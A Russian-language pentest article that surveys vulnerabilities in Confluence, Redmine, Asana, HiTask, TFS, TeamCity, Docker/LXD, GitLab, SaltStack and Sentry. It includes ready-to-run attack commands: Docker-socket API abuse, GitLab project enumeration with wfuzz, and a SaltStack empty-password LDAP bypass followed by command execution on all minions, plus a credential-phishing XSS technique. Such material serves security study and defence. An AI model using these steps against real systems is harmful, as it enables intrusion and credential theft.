В этой статье я расскажу про самые серьезные уязвимости в сервисах совместной разработки программистов и IT-шников. Данная информация будет полезна, как пентестерам, так и админам, которые смогут улучшить защиту своих ресурсов.
Еще по теме: Обзор лучших сканеров уязвимостей
Confluence
Confluence — это пространство для командной работы, особенно удобное при удаленке. Здесь можно совместно накапливать знания.
Главное для нас — то, что здесь примерно та же история, что с Jira: первые две проблемы (stack trace и управляющие порты) одинаковые, а об еще одной я сейчас расскажу.
На сей раз нас будут интересовать следующие URL:
- https://confluence.company.hack/rest/api/space
- https://confluence.company.hack/rest/api/content
- https://confluence.company.hack/rest/api/space/{SPACEKEY}
- https://confluence.company.hack/rest/api/content/{ContentID}
Понятно, что открытые space мы можем читать и так, без авторизации, так что кажется, будто ничего интересного тут нет.
На самом деле уязвимость есть и проблема крайне похожа на blind JQL из Jira, но тут встроенный язык называется CQL — стало быть, и герой у нас blind CQL.
Импакт у уязвимости такой же — мы можем восстанавливать содержимое закрытых спейсов, да и условие здесь то же самое: должны быть установлены групповые права доступа, а не индивидуальные. Как правило, так оно и бывает в больших компаниях.
[box type=»info» align=»» class=»» width=»»]Не бегите раньше времени искать торчащие в интернет Confluence. В недавнем обновлении Jira проблему пофиксили, поэтому сейчас ее можно встретить, только если система уже много месяцев не обновлялась. И Confluence тоже, разумеется.[/box]
Redmine
Redmine — это еще один популярный трекер задач.
Здесь все выглядит безопасно, но один небольшой косяк я таки нашел — XSS.
Возникает он тогда, когда мы вместо ссылки встраиваем исполняемый код, как на скриншоте.
Спецтеги его собственные — восклицательные знаки, внутри которых мы передаем ссылку, скобочки и какую‑то нагрузку.
Вроде бы это обычная хранимая XSS: создаем вредоносный тикет, человек открывает его, попадается на наш внедренный код, он у посетителя отрабатывает.
Ничего особенного, но есть один интересный момент: с помощью этой штуки можно даже снифать пароли!
На подконтрольном нам хосте мы на какой‑нибудь PHP-скрипт навешиваем basic-авторизацию, и запрос на эту авторизацию прогружается в Redmine уже с нашего злого ресурса. Вектор довольно известный, но до сих пор прекрасно работает.
Человек заходит в нашу заряженную запись и видит запрос на авторизацию, где его просят ввести логин и пароль. Находясь на Redmine-сервере компании, он без опасений вводит учетные данные, и они улетают к нам на сервер.
На своем сервере мы спокойно раскодируем из Base64 строку — и получаем пару логин‑пароль пользователя Redmine. Или даже от корпоративной учетки, если используется LDAP.
Asana
Я понимаю, что вам уже поднадоели всяческие таск‑трекеры. Но в жизни будет попадаться не только Jira, но и продукты помельче. Знать их уязвимости не то чтобы необходимо, но может здорово облегчить пентест. А порой он может закончиться, даже не начавшись, когда окажется, что дырявый трекер дает доступ к самой разной информации, включая пароли сотрудников. К тому же, хоть эти уязвимости и сложно назвать типовыми, изучая такие баги, вы можете здорово прокачаться.
Итак, еще один распространенный таск‑трекер — это Asana, и здесь тоже есть очень интересный момент. Посмотри, как выглядят наши куки:
1 2 3 4 5 6 7 |
soft_signup_user_id=5166376; soft_signup_email=hac126%40mail.ru; xi_ip=97.12.23.123; soft_signup_invitation_token=numeric_token-5166375-672796; gtm_u_id=5166376; dapulseUserId=5166375; gtm_u_is_admin=true; gtm_a_paying_value=0.0; |
Очевидно, что soft_signup_user_id — это айдишник пользователя, а soft_signup_email, соответственно, электропочта юзера. Налицо классический обход авторизации, а потенциально и IDOR!
Значит, если мы знаем, что человек с какой‑то почтой зарегистрирован в этой системе (а мы можем это посмотреть в самой системе), можно перебрать ID юзера и попасть в его аккаунт.
Что я и сделал!
HiTask
Тут у нас XSS, но какая! Она находится в тегах, так что потенциально ее можно развернуть не только на конкретной странице, но и вообще по всему сайту.
Когда создается тег, он распространяется по всему сайту и становится доступен везде, то есть поразить этим можно вообще всех пользователей.
На этом дыры, само собой, не кончаются: тут еще есть хрестоматийный LFI, но с одной интересной особенностью. Заключается она в том, что имя загружаемого файла передается не в параметре скрипта‑загрузчика, а в самом его имени.
Работает это так: внутри сидит скрипт, который парсит имя переменной из названия. Там есть prop_act_upload1, prop_act_upload2 и так далее, но если туда передать строку — он спокойно прочитает файл по переданному адресу.
Эксплуатация очень проста: создаем тикет с прикрепленным файлом (attachment), в Burp перехватываем и поправляем путь, а в итоге файл прикрепляется внутренний. После этого файл спокойно скачиваем и читаем.
Team Foundation Server
TFS — это хорошо известная разработчикам штука, которая встроена в Visual Studio. Фишка тут в том, что у TFS есть возможность подтягивать сторонние Git-репозитории.
Смотрите внимательно: мы можем что‑то скачать по указанному адресу от имени Team Foundation Server. Я просто перебрал все известные приватные адреса (подсеть 192.168.0.0/24, 10.0.0.0/8 и так далее) на предмет наличия папки .git — и нашел один внутренний репозиторий с кодом.
Таким образом, Team Foundation Server позволяет таскать закрытый исходный код из приватных подсетей компаний.
TeamCity
TeamCity — это уже про деплой. Собственно, он позволяет автоматически деплоить приложения: когда мы написали какой‑то код и закоммитили, он улетает в TeamCity и сам развертывается на некотором сервере. А бывает и так, что сразу выкатывается в прод.
В TeamCity есть такое понятие, как артефакт: это любые изменения, отправленные в TeamCity. У платформы есть стандартная учетка гостя, с помощью которой можно зайти и почитать открытые артефакты части проектов.
Вся соль в том, что через этого гостя мы можем тыкать API, через который отдается информация и о закрытых проектах, даже если они недоступны гостю.
Среди прочего через API видны build ID, с помощью которых можно через тот же API достать список всех связанных артефактов и прямые ссылки на них.
Дальше все просто — проходим по этим прямым ссылкам и скачиваем артефакты. Остановить взломщика может только Base64- (basic-) авторизация, то есть никакой модели ролевого доступа там нет.
Docker
Docker (и LXD) слишком популярная штука, чтобы не сказать о нем хоть пару слов. На всякий случай напомню, что это средство контейнеризации для развертывания приложений в изолированной коробке.
Само собой, из Docker при желании можно сбежать, и об этом много раз говорилось, но сейчас я покажу один популярный мисконфиг, который позволяет тыкать хост‑систему даже без выхода из своего контейнера.
Если файл docker.sock прокидывается на контейнер, то через него мы можем обращаться непосредственно к Docker API на хосте, то есть штатным curl дергать API и, к примеру, создавать новые контейнеры. Проблема возникает при следующей строке запуска:
1 |
docker run -v /var/run/docker.sock:/var/run/docker.sock debian ls |
Строка запуска curl для взаимодействия с API выглядит так:
1 2 3 4 5 6 7 8 9 |
curl -s --unix-socket /var/lib/lxd/unix.socket a/1.0/containers/ { "type": "async", "status": "Operation created", "status_code": 100, "metadata": { "id": "439bf4a1-e056-4b76-86ad-bff06169fce1", "class": "task", "created_at": "2021-04-18T22:56:22.590239576 |
А вот и пример с LXD, но там все то же самое — разница только в том, что Docker API сидит на порте 2375, а LXD — на 8443, а при обращении через Unix-сокет указывается другой путь.
1 2 3 4 5 6 7 8 9 |
curl -s --unix-socket /var/lib/lxd/unix.socket a/1.0/containers/ { "type": "async", "status": "Operation created", "status_code": 100, "metadata": { "id": "439bf4a1-e056-4b76-86ad-bff06169fce1", "class": "task", "created_at": "2016-04-18T22:56:22.590239576 |
GitLab
Первая проблема — это перехват исходных кодов из других раннеров. Как известно, эти раннеры работают на Docker, что автоматически распространяет уязвимости из прошлого раздела на раннеры GitLab CI.
Не буду повторяться — сразу перейдем к механизмам эксплуатации, которые реальны, если вы вдруг можете манипулировать скриптами в раннерах.
Сканируем свою подсеть на наличие порта 2375 в поисках других раннеров. Если это невозможно — ищем у себя docker.sock.
Обращаемся к API и выполняем свои команды в найденных контейнерах. Забираем код оттуда.
Права доступа в GitLab — это одна большая загадка, потому что сниппеты может читать через API вообще кто угодно. Сниппеты — это куски кода, которые кто‑то оставил и которые, очевидно, где‑то используются. Почему бы их не прикарманить?
API раскрывает и другие интересные штуки. Например, безо всякой авторизации можно вытянуть метаданные проектов (кем и когда созданы, описания и прочее).
Искать проекты можно обычным wfuzz вот так:
1 |
wfuzz -c -z range,1-10000 --sc=200 https://gitlab.company.hack/api/v4/projects/FUZZ |
И еще одна фишка, чтоб дважды не ходить, — GitLab позволяет запросто перечислять вообще всех своих пользователей через тот же кривой API.
[box type=»info» align=»» class=»» width=»»]Фишка до сих пор рабочая — можно зайти на официальный GitLab и проверить.[/box]
И еще кое‑что. Можно запросить:
1 |
https://gitlab.company.hack/%username%.keys |
Где %username% — ник искомого пользователя, и получить публичный ключ юзера, если тот настроил эти самые ключи.
К сожалению, нужно знать имя пользователя, так что для полноценного перечисления этот способ не годится.
SaltStack
SaltStack — это централизованная система исполнения команд на нескольких серверах.
Архитектура у него примерно следующая: есть мастер‑сервер и так называемые миньоны, на которые мы раскидываем требуемые команды.
В SaltStack есть три способа авторизации: логин/пароль, plain text (из файла) и LDAP. Нас будет интересовать именно LDAP-авторизация, потому что мы по легенде находимся в корпоративной системе (пентестим компанию).
Однажды я заметил, что, если при входе через LDAP передать пустой пароль, авторизация проходит, а в ответе возвращается валидный X-Auth-Token. Второй рамкой на скриншоте отмечен тот факт, что у нас все разрешения, то есть делать теперь можно что угодно.
1 |
curl -si POST https://saltstack.company.hack/login -H "Accept: application/json" -d username="" -d password="" -d eauth='ldap' |
[box type=»info» align=»» class=»» width=»»]Проблема была передана разработчикам и исправлена, а впоследствии получила идентификатор CVE-2018-15751.[/box]
1. С помощью access token из начала раздела получаем список ключей и серверов:
1 |
curl -i -H 'X-Auth-Token: 694a7dfa16.........cacfcb0d26650d21bd' https://saltstack.company.hack/keys |
2. Выполняем команду на миньонах:
1 |
curl -i -H 'X-Auth-Token: 694a7dfa168........cfcb0d26650d21bd' -H 'Content-type: application/json' https:/// -d '[{"client":"local", "tgt":"*", "fun":"cmd.run", "kwarg":{"cmd":"id"}, "eauth":"auto"}]' |
Как видите, на некоторых миньонах мы сразу получили рут. Шикарный плацдарм для дальнейшей атаки!
Sentry
Что такое Sentry? Это система централизованного хранения ошибок. В нее подключаются некие проекты, в этих проектах могут происходить ошибки, а мы можем эти ошибки отслеживать в Sentry.
Здесь также есть гостевая учетка, но сделать с ней ничего не получится.
Но если из‑под гостевой учетки пройти по прямому URL, то можно выписать себе новый токен с любыми правами.
По токену получаем ключи, а с этими ключами потом можно делать что угодно: читать ошибки, править проектами и так далее.
Выводы
Баги в производственном ПО и плохие настройки встречаются повсеместно, и знать наиболее популярные из них крайне важно. Чем больше примеров вы разберете — тем больше шансов, что сможете сами что‑то найти. Я учился как раз на таких разборах — значит, сможете и вы!
Еще по теме: Популярные сайты для поиска уязвимостей